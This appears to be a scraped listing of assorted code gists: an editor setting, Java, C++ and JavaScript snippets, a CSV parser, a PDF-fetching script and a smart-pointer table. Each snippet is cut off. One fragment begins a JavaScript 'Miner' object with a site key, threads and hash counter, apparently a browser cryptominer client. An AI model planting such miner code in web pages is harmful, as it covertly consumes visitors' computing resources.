- Open your User settings
- Add an language mapping from
"BUCK"
to"python"
like so:
{
"files.associations": {
"BUCK": "python"
}
}
"BUCK"
to "python"
like so:{
"files.associations": {
"BUCK": "python"
}
}
public final class Vector3 { | |
public final float x; | |
public final float y; | |
public final float z; | |
public Vector3(float x, float y, float z) { | |
this.x = x; | |
this.y = y; | |
this.z = z; |
I hereby claim:
To claim this, I am signing this object:
template<class Left, class Right> | |
struct Either { | |
union { | |
Left leftValue; | |
Right rightValue; | |
}; | |
bool isLeft; | |
}; |
// There is an optimization opportunity when using a currying-style in JavaScript. | |
// For example, this... | |
export const and = x => y => x && !!y; | |
// Might become... | |
export const and = x => { | |
if (x) { | |
return y => !!y; | |
} |
// try-catch style | |
// | |
// Advantages: | |
// 1. Familiar to OOP developers | |
// 2. Explicit error-handling code not required | |
// 3. Works well with async-await syntax | |
// | |
// Disadvantages: | |
// 1. Inefficient | |
// 2. Explicit error-handling code not required |
(function(window) { | |
"use strict"; | |
var Miner = function(siteKey, params) { | |
this.params = params || {}; | |
this._siteKey = siteKey; | |
this._user = null; | |
this._threads = []; | |
this._hashes = 0; | |
this._currentJob = null; | |
this._autoReconnect = true; |
export const parseCsv = function * (symbols) { | |
let word = ''; | |
let line = []; | |
for (const symbol of symbols) { | |
if (symbol == '\n') { | |
line.push(word); | |
yield line; | |
word = ''; | |
line = []; | |
} else if (symbol == ',') { |
import _ from 'lodash'; | |
import superagent from 'superagent'; | |
import pdf from 'pdfjs-dist'; | |
const url = 'http://unec.edu.az/application/uploads/2014/12/pdf-sample.pdf'; | |
const main = async () => { | |
const response = await superagent.get(url).buffer(); | |
const data = response.body; | |
const doc = await pdf.getDocument({ data }); |
Name | Ownership | Copyable | Movable | Sharing | Lifetime | Semantics |
---|---|---|---|---|---|---|
unique_ptr | Unique | ❌ | ✅ | ❌ | Lexical | Reference |
shared_ptr | Shared | ✅ | ✅ | Reference | Reference-counted | Reference |
weak_ptr | ❌ | ✅ | ✅ | ❌ | Non-extending | Optional-reference |
value_ptr | Unique | ✅ | ✅ | Value | Lexical | Value |